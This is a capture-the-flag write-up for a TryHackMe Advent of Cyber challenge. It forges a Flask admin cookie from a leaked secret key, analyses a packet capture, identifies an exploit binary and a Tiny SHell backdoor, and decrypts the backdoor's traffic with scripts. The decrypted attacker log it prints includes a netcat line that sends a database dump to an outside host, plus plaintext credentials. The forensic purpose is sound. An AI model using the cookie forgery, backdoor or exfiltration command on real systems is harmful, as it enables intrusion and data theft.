Skip to content

TryHackMe - Side Quest 1 Operation Tiny Frostbite Writeup

Introduction

A challenge involving packet, source code analysis, and cryptography.


OS: Linux / Windows

URL: Side Quest 1 Operation Tiny Frostbite

Level: Hard


Finding the keycard

I'll begin by assuming you've already completed Day 1 of the main Advent Of Cyber 2024 task titled Day 1: Maybe SOC-mas music, he thought, doesn't come from a store?. If not, you can follow the linked video in the task to first complete it.

The last question in the task provides us a hint to look into other git repositories from the users we have already discovered.

git_repo_hint.png

We have two users of interest:

1) MM-WarevilleTHM 2) Bloatware-WarevilleTHM

MM-WarevilleTHM doesn't seem to have any interesting repositories.

Bloatware-WarevilleTHM has a repository named C2-Server that contains incomplete code for a Python Flask server.

c2_server_repo.png

C2-Server/app.py
[...SNIP...]
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

The Flask server is hardcoded to listen on port 8000. Let's try accessing port 8000 on the main Advent of Cyber Day 1 machine.

port_8000_c2_server_login.png

Trying the creds admin:securepassword from the app.py file does not work.

We also have access to the app secret_key, which Flask uses to sign all its cookies. If the secret key hasn't been changed in the production code, then we can essentially forge our own cookies for any user.

We don't have to handcraft the cookie; instead, we can write some Python code to generate us a cookie for the user admin.

cookie_gen.py
from flask.sessions import SecureCookieSessionInterface
from flask import Flask, session


app = Flask(__name__)

app.secret_key = "@09JKD0934jd712?djD"

ADMIN_USERNAME = "admin"

session_data = {"logged_in": True, "username": ADMIN_USERNAME}

with app.app_context():
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session_cookie = session_serializer.dumps(session_data)

print(f"session={session_cookie}")

Tip

We could have just as well edited the C2-Server/app.py file to just set us a cookie on visiting the / route. But I wanted to show how we can generate a cookie without running the flask server.

C2-Server/app.py
C2-Server/app.py
from flask import Flask, render_template, request, redirect, url_for, session

app = Flask(__name__)

app.secret_key = "@09JKD0934jd712?djD"

ADMIN_USERNAME = "admin"           
ADMIN_PASSWORD = "securepassword" #CHANGE ME!!!

@app.route("/")
def home():
    session["logged_in"] = True
    session["username"] = ADMIN_USERNAME
    # import pdb; pdb.set_trace()
    return "Cookie set"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

cookie_gen_by_modifying_app.py.png

┌──(kali㉿kali)-[~/THM/sq1]
└─$ python cookie_gen.py

session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.**REDACTED**.**REDACTED**

Now that we have the cookie for admin, let's add this to our browser and see if the cookie works.

Now head over to the /data endpoint where you'll find the keycard image with the password required to complete the Side Quest 1.

keycard.png

keycard_password.png


Exploitation

Start by downloading the aoc_sq_1.zip file and use the password from the keycard to extract the contents.

┌──(kali㉿kali)-[~/THM/sq1]
└─$ unzip aoc_sq_1.zip
Archive:  aoc_sq_1.zip
[aoc_sq_1.zip] traffic.pcap password:
  inflating: traffic.pcap

┌──(kali㉿kali)-[~/THM/sq1]
└─$ ls -l traffic.pcap
-rw-rw-r-- 1 kali kali 18060752 Nov 12 21:56 traffic.pcap

┌──(kali㉿kali)-[~/THM/sq1]
└─$ file traffic.pcap
traffic.pcap: pcapng capture file - version 1.0

Open the traffic.pcap file in Wireshark using wireshark traffic.pcap

Check Statistics -> Protocol Hierarchy to get an overview of the protocols used in the pcap file.

protocol_hierarchy.png

Most packets are TCP over IPv4, and just 3 packets are UDP over IPv4.

A quick look at UDP packets shows that there is nothing of interest.

udp_packets.png

Let's look at the TCP packets. Applying the TCP filter shows that there are over 158k packets.

tcp_packets.png

There are several SSH packets we can discard for now as we cannot decrypt the SSH traffic.

ssh_packets.png

that got rid of ~2k packets but still not enough to go through manually.

We also gave several packets colored in red, which means the TCP handshake was not completed / reset packet was sent instead of the final ACK packet.

This is typical Nmap SYN scan behavior. So let's filter for packets that have a proper TCP handshake. tcp && !ssh && (tcp.flags.reset == 0 && tcp.flags.syn == 0)

tcp_handshake.png

We are now left with "only" ~8.3k packets.

Save this into a new file namp_filtered.pcap by using the File -> Export Specified Packets option.

export_filtered_packets.png

Now open the nmap_filtered.pcap file in Wireshark using wireshark nmap_filtered.pcap


Q1

Taking a look at protocol hierarchy again shows that most of the packets are HTTP packets.

protocol_hierarchy_http.png

Filtering for http, there are several GET requests with gobuster user-agent, artifacts of a gobuster scan.

Let's filter these out by using the filter !(http.user_agent contains "gobuster/3.6") and also filter out any 404 status code responses by using the filter !(http.response.code == 404)

http_filtered.png

We just have 170 packets left to go through. (We can further remove OPTIONS requests if needed using !(http.request.method == "OPTIONS"))

http && !(http.user_agent contains "gobuster/3.6") && !(http.response.code == 404) && !(http.request.method == "OPTIONS")

Going through the packets, we find a POST request to /register.php that contains the password in the request post body (answer for q1).

register_php_password.png


Q2

Scroll through a few more packets, and few find a post-request to /admin/login.php with the password for mcskidy in the post body (answer for q2).

admin_login_php_password.png


Q3

Remove the http filter and save the packet capture as http_filtered.pcap using the File -> Export Specified Packets option.

!(http contains "gobuster/3.6") && !(http.response.code==404) && !(http.request.method == "OPTIONS")

Open the http_filtered.pcap file in Wireshark using wireshark http_filtered.pcap.

Now head over to the File -> Export Objects -> HTTP option to extract the files transferred over HTTP.

export_http_objects.png

Scrolling to the end, we see two streams with the content-type application/octet-stream with filenames exp_file_credential and ff Click on each of them and save the files.

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ file *

exp_file_credential: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=59013ea8ac60f097e17ae2da363e4acb10a15740, for GNU/Linux 3.2.0, not stripped

ff:                  ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2ef4ab8c9a54b4f6e2d5656fab7dc8cf2718e27f, for GNU/Linux 3.2.0, stripped

both files are ELF executables.

Let's check for strings in binary to identify them.

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ strings exp_file_credential

...[SNIP]...
AUATSH
[]A\A]A^A_
/etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
sched_setaffinity()
rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data
touch exp_dir/data2
...[SNIP]...

There seems to be a password hash in the binary. Let's try to Google the hash to see if it's a known hash.

hash_google_search.png

We get a result from GitHub for the CVE-2022-2588 exploit: https://github.com/Markakd/CVE-2022-2588

File names also match. We can also clone the repo to verify that both binaries are identical and haven't been tampered with.

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ git clone https://github.com/Markakd/CVE-2022-2588
Cloning into 'CVE-2022-2588'...
remote: Enumerating objects: 36, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 36 (delta 16), reused 12 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (36/36), 27.74 KiB | 1.98 MiB/s, done.
Resolving deltas: 100% (16/16), done.

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ md5sum exp_file_credential
9ca652a5a50729400789553c19b084f4  exp_file_credential

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ md5sum CVE-2022-2588/exp_file_credential
9ca652a5a50729400789553c19b084f4  CVE-2022-2588/exp_file_credential

The hashes match. So it's just an off-the-shelf exploit binary, so we can safely ignore it.

Let's check the other binary ff

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ strings ff

...[SNIP]...
x((P
w--Z
Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]
Unexpected reloc type in static binary.
Fatal glibc error: Cannot allocate TLS block
Fatal glibc error: %s:%s (%s): assertion failed: %s
...[SNIP]...

We get a usage help message in the string dump. Google the help string to see if it's a known binary.

ff_help_string_google_search.png

Results point to source code for Tiny SHell (tsh) which is a simple Unix backdoor shell. But it doesn't provide a prebuilt binary.

Let's see if the compiled binary ff has been scanned before on VirusTotal, potentially allowing us to further identify the binary.

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ sha256sum ff

cf174b24f78596203938c32315de617f7a3aa0af0f158712802c9c18467eb2d6  ff

ff_virustotal_search.png

The malware is tagged as belonging to the rekoobe / rekobee family. Analysis for the malware can be found here.


Taking a look at the repo, the tsh.h file defines some variables with default secrets that could be changed before compiling the binary.

tsh/tsh.h
#ifndef _TSH_H
#define _TSH_H

char *secret = "1234";
char *cb_host = NULL;

#define SERVER_PORT 1234
short int server_port = SERVER_PORT;
[...SNIP...]

It's likely that our ff binary has the secret used hardcoded in the binary.

Let's load the binary into Ghidra code browser and decompile the binary to see if we can find the secret.

Note down the secret, and now it's time to do some dynamic analysis on the binary and test if the secret works.

Warning

The binary though is "safe" to run in this case, note that it opens a backdoor with port 9001 and should be run in a controlled environment/sandbox, and always make sure to kill the process after testing.

┌──(kali㉿kali)-[~/THM/sq1]
└─$ ./exports/ff

┌──(kali㉿kali)-[~/THM/sq1]
└─$ sudo ss -lntp

State          Recv-Q         Send-Q                   Local Address:Port                   Peer Address:Port         Process
LISTEN         0              5                              0.0.0.0:9001                        0.0.0.0:*             users:(("ff",pid=3370553,fd=0))

The binary seems to be hardcoded to run on port 9001.

Let's clone the tsh repo from github and compile the client binary to test if we can connect to the ff process using the secret we found in the binary.

┌──(kali㉿kali)-[~/THM/sq1]
└─$ git clone https://github.com/creaktive/tsh
Cloning into 'tsh'...
remote: Enumerating objects: 40, done.
remote: Total 40 (delta 0), reused 0 (delta 0), pack-reused 40 (from 1)
Receiving objects: 100% (40/40), 29.21 KiB | 156.00 KiB/s, done.
Resolving deltas: 100% (15/15), done.

┌──(kali㉿kali)-[~/THM/sq1]
└─$ cd tsh

┌──(kali㉿kali)-[~/THM/sq1/tsh]
└─$ make linux
gcc -O -W -Wall -o tsh  pel.c aes.c sha1.c  tsh.c
gcc -O -W -Wall -o tshd pel.c aes.c sha1.c tshd.c -lutil -DLINUX
strip tsh tshd


┌──(kali㉿kali)-[~/THM/sq1/tsh]
└─$ ./tsh localhost -s REDACTED -p 9001 whoami
kali

The secret works, and we are able to connect to the backdoor shell.


Let's head back to Wireshark and filter check for Statistics -> Conversations to see a port-wise breakdown of the TCP packets.

wireshark_conversations.png

There are 204 packets on port 9001 likely belonging to our backdoor, but we also see port 9002 with 6 packets.

Taking a look at packets on port 9002 we see that all six packets belong to a single TCP stream.

packet 5908 is the largest among them and has a data field. Let's save the data from the packet into a file.

tcp_stream_9002.png

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ file unkown
unkown: Zip archive data, at least v2.0 to extract, compression method=deflate

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ mv unkown port_9002.zip

┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ unzip port_9002.zip
Archive:  port_9002.zip
[port_9002.zip] elves.sql password:
   skipping: elves.sql               incorrect password

The data contained within the packet is a zip file protected with a password.

Which is likely found in the port 9001 packets, as it was likely created with the backdoor and then downloaded.

Let's filter all packets on port 9001 and save them into a new file port_9001.pcap using the File -> Export Specified Packets option.

export_port_9001_packets.png


Method 1

We have already found that the backdoor was also called rekobee and at the time of the challenge release, there was a repo named rekobee-analyzer on GitHub, which has now been deleted.

Since the repo was MIT licensed, I've uploaded a modified version of the code with some improvements to my GitHub repo rekobee-analyzer

┌──(kali㉿kali)-[~/THM/sq1]
└─$ git clone https://github.com/AnvithLobo/rekobee-analyzer
Cloning into 'rekobee-analyzer'...
....


┌──(kali㉿kali)-[~/THM/sq1]
└─$ cd rekobee-analyzer

┌──(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ python -m venv .venv

┌──(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ . .venv/bin/activate

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ pip install -r requirements.txt
Collecting pyshark==0.6 (from -r requirements.txt (line 1))
[...SNIP...]
Successfully installed appdirs-1.4.4 colorama-0.4.6 lxml-5.3.0 packaging-24.2 pycryptodome-3.21.0 pyshark-0.6 termcolor-2.5.0

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ python analyze.py -c ../port_9001.pcapng -s **REDACTED**
[ ok ] Found the initial packet at 0.
[ ok ] The server is authenticated by the client.
[ ok ] The client is authenticated by the server.
[info] Handling 'reverse shell' command.
[error] Error while reading data from the socket.
[error] Error while reading data from the socket.
[...SNIP...]
→ root@database:/tmp# mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
→ mysqldump: [Warning] Using a password on the command line interface can be insecure.
→ root@database:/tmp# zip -P **REDACTED** elves.zip elves.sql
→   adding: elves.sql (deflated 58%)
→ root@database:/tmp# nc -w 3 10.13.44.207 9002 < elves.zip
→ root@database:/tmp# echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
→ root@database:/tmp#
[info] Done.

The zip command in the output has the password needed to extract the port_9002.zip file.


Method 2

Since we have the source for tsh we can modify the source code to decrypt packets for us and log it into a file and then replay the packets to get the password.

tsh/tshd.c
...[SNIP]...
    else
    {
        /* tty (slave side) not needed anymore */

        close( tty );

        /* let's forward the data back and forth */

        while( 1 )
        {
            FD_ZERO( &rd );
            FD_SET( client, &rd );
            FD_SET( pty, &rd );

            n = ( pty > client ) ? pty : client;

            if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
            {
                return( 49 );
            }

            if( FD_ISSET( client, &rd ) )
            {
                ret = pel_recv_msg( client, message, &len );

                if( ret != PEL_SUCCESS )
                {
                    return( 50 );
                }

                if( write( pty, message, len ) != len )
                {
                    return( 51 );
                }
            }
[...SNIP...]
tsh/tshd.c
[...SNIP...]
    else
    {
        /* tty (slave side) not needed anymore */

        close( tty );

        /* let's forward the data back and forth */

        while( 1 )
        {
            FD_ZERO( &rd );
            FD_SET( client, &rd );
            FD_SET( pty, &rd );

            n = ( pty > client ) ? pty : client;

            if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
            {
                return( 49 );
            }

            if( FD_ISSET( client, &rd ) )
            {
                ret = pel_recv_msg( client, message, &len );

                if( ret != PEL_SUCCESS )
                {
                    return( 50 );
                }

                // if( write( pty, message, len ) != len )
                // {
                //     return( 51 );
                // }

                FILE *file = fopen("shell.log", "a");
                if (file != NULL) {
                    fwrite(message, 1, len, file);
                    fputc('\n', file);
                    fclose(file);
                }

            }
[...SNIP...]

When the function pel_recv_msg defined in tsh/pel.c receives a message, it decrypts it and stores the decrypted message in the message buffer.

Which then is fed into the active pty for the commands to be executed. The output of the pty is then read and sent to pel_send_msg for encryption and sent back to the client.

We can disable the write call to the pty to prevent the commands from being executed and instead log the decrypted messages into a file shell.log.

Warning

The modified code only disables command execution on interactive sessions, which our packet capture contains.

But this does not consider non-interactive commands run like ./tsh localhost -s REDACTED -p 9001 whoami, which will still be executed due to the execl call in line 698 of the tshd.c file.

tsh/tshd.c
execl( shell, shell + 5, "-c", temp, (char *) 0 );

We cannot disable this as it would close our client connection and won't allow us to replay all the packets.

Now we can write a script to replay our packets.

replay_packets.py
import socket
import pyshark
import time

def replay_pcap_to_socket(pcap_file, host, port):
    # Open the pcap file
    print(f"Loading packets from {pcap_file}...")
    capture = pyshark.FileCapture(pcap_file, display_filter="tcp")

    # Establish a TCP connection to the server
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        print(f"Connecting to {host}:{port}...")
        sock.connect((host, port))
        print("Connection established.")

        for idx, packet in enumerate(capture):
            if hasattr(packet, 'tcp') and hasattr(packet, 'data') and packet.tcp.dstport == str(port):
                try:
                    raw_data = bytes.fromhex(packet.data.data)
                    print(f"\33[2K\rSending packet {idx}: {packet.data.data[:60]}...", end="", flush=True)

                    # Send the packet to the server
                    sock.sendall(raw_data)
                    time.sleep(.1)

                except Exception as e:
                    print(f"Error processing packet: {str(e)}")
                    import traceback
                    traceback.print_exc()
                    exit()

        print("\n\nAll packets replayed.")
    capture.close()

# Replace with the actual file path, host, and port
pcap_file = "port_9001.pcapng"
host = "127.0.0.1"
port = 9001

replay_pcap_to_socket(pcap_file, host, port)

Build the modified tshd binary and execute it with the same secret and then run the replay script.

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/tsh]
└─$ make linux
gcc -O -W -Wall -o tsh  pel.c aes.c sha1.c  tsh.c
gcc -O -W -Wall -o tshd pel.c aes.c sha1.c tshd.c -lutil -DLINUX
strip tsh tshd

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/tsh]
└─$ ./tshd -s REDACTED -p 9001

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/tsh]
└─$ cd ../


┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ python replay_packets.py

Loading packets from ../port_9001.pcapng...
Connecting to 127.0.0.1:9001...
Connection established.
Sending packet 199: 4823f2e6c497332fbc9e11403dbc7cde1bede1f9e4a5a0081948241f6323...

All packets replayed.

Now we should have a shell.log file in the tsh directory with all the commands that were run.

┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ cat tsh/shell.log

cp /bin/bash /bin/pkexeccc
[...SNIP...]
mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'

mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql

zip -P **REDACTED** elves.zip elves.sql
[...SNIP...]
echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt

The zip command contains the password needed to extract the port_9002.zip file.


Method 3

This method is similar to method 1, but instead of relying on a prebuilt script, we need to understand how the packets are encrypted by analyzing the code defined in tsh/pel.c

The first packet sent (with data) contains the IVs to initialize the AES encryption. IV1 is the first 20 bytes, and IV2 is the next 20 bytes.

tsh/pel.c
int pel_client_init( int server, char *key )
{
[...SNIP...]
   memcpy( IV1, &buffer[ 0], 20 );
   [...SNIP...]
   memcpy( IV2, &buffer[20], 20 );

   /* and pass them to the server */

   ret = pel_send_all( server, buffer, 40, 0 );

   if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

   /* setup the session keys */

   pel_setup_context( &send_ctx, key, IV1 );
   pel_setup_context( &recv_ctx, key, IV2 );

[...SNIP...]

The challenge is then sent over on packet 2 to verify the connection.

tsh/pel.c
unsigned char challenge[16] =   /* version-specific */

    "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" \
    "\x29\x83\x95\x71\x1D\xDE\x58\x0D";

[...SNIP...]
int pel_client_init( int server, char *key )
{
[...SNIP...]
    /* handshake - encrypt and send the client's challenge */

    ret = pel_send_msg( server, challenge, 16 );

    if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

    /* handshake - decrypt and verify the server's challenge */

    ret = pel_recv_msg( server, buffer, &len );

The pel_setup_context function defines how the AES encryption key is derived from the secret key and IV.

tsh/pel.c
void pel_setup_context( struct pel_context *pel_ctx,
                        char *key, unsigned char IV[20] )
{
    int i;
    struct sha1_context sha1_ctx;

    sha1_starts( &sha1_ctx );
    sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );
    sha1_update( &sha1_ctx, IV, 20 );
    sha1_finish( &sha1_ctx, buffer );

    aes_set_key( &pel_ctx->SK, buffer, 128 );

    memcpy( pel_ctx->LCT, IV, 16 );

    memset( pel_ctx->k_ipad, 0x36, 64 );
    memset( pel_ctx->k_opad, 0x5C, 64 );

    for( i = 0; i < 20; i++ )
    {
        pel_ctx->k_ipad[i] ^= buffer[i];
        pel_ctx->k_opad[i] ^= buffer[i];
    }

    pel_ctx->p_cntr = 0;
}

Putting it all together and writing a decryption script

decrypt.py
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import struct
import pyshark


def setup_aes_context(secret, iv):
    sha1 = hashlib.sha1(secret.encode() + iv)
    sha1_hash = sha1.digest()  # This will be 20 bytes

    #Set AES key (truncate to 16 bytes for AES-128)
    aes_key = sha1_hash[:16]  

    # Create AES cipher with the derived key (use CBC mode and the first 16-byte IV)
    aes_cipher = AES.new(aes_key, AES.MODE_CBC, iv[:16])

    return aes_cipher, aes_key

def decrypt_message(ciphertext, aes_cipher):
    # The last 20 bytes are the HMAC, so peel that off
    hmac_len = 20
    hmac = ciphertext[-hmac_len:]

    # The remaining ciphertext is the actual encrypted data (without HMAC)
    encrypted_message = ciphertext[:-hmac_len]

    # Decrypt the first block to extract the message length
    first_block = encrypted_message[:16]
    decrypted_first_block = aes_cipher.decrypt(first_block)

    #print(f"Decrypted First Block: {decrypted_first_block.hex()}")

    # Extract the message length from the first two bytes
    content_size = struct.unpack('>H', decrypted_first_block[:2])[0]
    # print(f"Extracted Message Length: {content_size}")

    #Decrypt the rest of the message
    decrypted_data = bytearray(decrypted_first_block)

    remaining_ciphertext = encrypted_message[16:]  # Remaining ciphertext after the first block
    block_count = len(remaining_ciphertext) // 16

    for i in range(block_count):
        block = remaining_ciphertext[i*16:(i+1)*16]
        decrypted_block = aes_cipher.decrypt(block)        
        # Append decrypted block to data
        decrypted_data.extend(decrypted_block)

    #print(f"Decrypted Data (before unpadding): {decrypted_data.hex()}")

    # Step 3: Unpad the data to get the original message
    decrypted_data_unpadded = decrypted_data[2:content_size+2]
    #print(f"Decrypted Data (after unpadding): {decrypted_data_unpadded.hex()}")

    # Return the final message
    return decrypted_data_unpadded


def main(capture_file, secret):
    capture = list(pyshark.FileCapture(capture_file, display_filter='tcp.port == 9001 && data.len > 0'))

    # the first packet contains IV data definied in (pel_client_init)
    # import pdb; pdb.set_trace()
    print(f"IV Data: {capture[0].data.data}")
    iv_data = bytes.fromhex(capture[0].data.data)
    iv1 = iv_data[:20]
    iv2 = iv_data[20:]

    # Set up the AES context (derive the key and set up the cipher)
    send_aes_cipher, send_aes_key = setup_aes_context(secret, iv2)
    recv_aes_cipher, recv_aes_key = setup_aes_context(secret, iv1)

    # Print out the AES key and Cipher info
    print(f"AES Key (16 bytes): {send_aes_key.hex()}")
    print(f"AES Cipher: {send_aes_cipher}")

    commands = []
    for packet in capture[1:]:
        ciphertext = bytes.fromhex(packet.data.data)
        if packet.tcp.srcport == '9001':
            # This is a packet sent by the client
            decrypted_message = decrypt_message(ciphertext, send_aes_cipher)    
            print(decrypted_message.decode('utf-8',errors='ignore'))
        else:
            # This is a packet sent by the server
            decrypted_message = decrypt_message(ciphertext, recv_aes_cipher)
            commands.append(decrypted_message.decode('utf-8',errors='ignore'))

    print("\n\nAll packets decrypted.")
    print("\n\nCommands:")
    print("\n".join(commands))

if __name__ == "__main__":
    main("port_9001.pcapng", secret="REDACTED")

Make sure to change the secret and path for the pcap file and run the script.

┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ pip install pycryptodome pyshark

┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ python decrypt.py

[...SNIP...]

mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'

mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql

zip -P REDACTED elves.zip elves.sql

[...SNIP...]

Q4

Using the password found in the zip command, let's unzip the file we got from port 9002.

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/exports]
└─$ unzip -P REDACTED port_9002.zip
Archive:  port_9002.zip
  inflating: elves.sql

We have a .sql file, and we need to find McSkidy's password.

┌──(.venv)─(kali㉿kali)-[~/THM/sq1/exports]
└─$ grep -i mcskidy elves.sql | sed 's/),/)\n/g'

INSERT INTO `elf` VALUES (1,'bloatware','$2a$04$RBmm/E9BYc0MGcOVIwKCoerMyFYvN.Uygv9/CAHrYT4qgJzIYNmaq','2024-11-12 22:59:26')
(2,'freeware','$2a$04$tYjkpRuiO4A.Hoyp.7Q2OuMjBdpT3Aoy4u6w6O19Xj4hksAuIjevm','2024-11-12 22:59:26')
(3,'firmware','$2a$04$BDsYzkVX8MDB/PNe2ZIoIuB7FhlKV0bOWkxZfznlFf4CMPMRgRIUS','2024-11-12 22:59:26')
(4,'hardware','$2a$04$IXOjpLJgcjnJVxW69u3aCO8ISfnMq/1VEeLBCGhKFHbLAzDAZ4F6m','2024-11-12 22:59:26')
(5,'mcskidy','REDACTED','2024-11-12 22:59:26');

A simple grep and we have all the flags we need. :)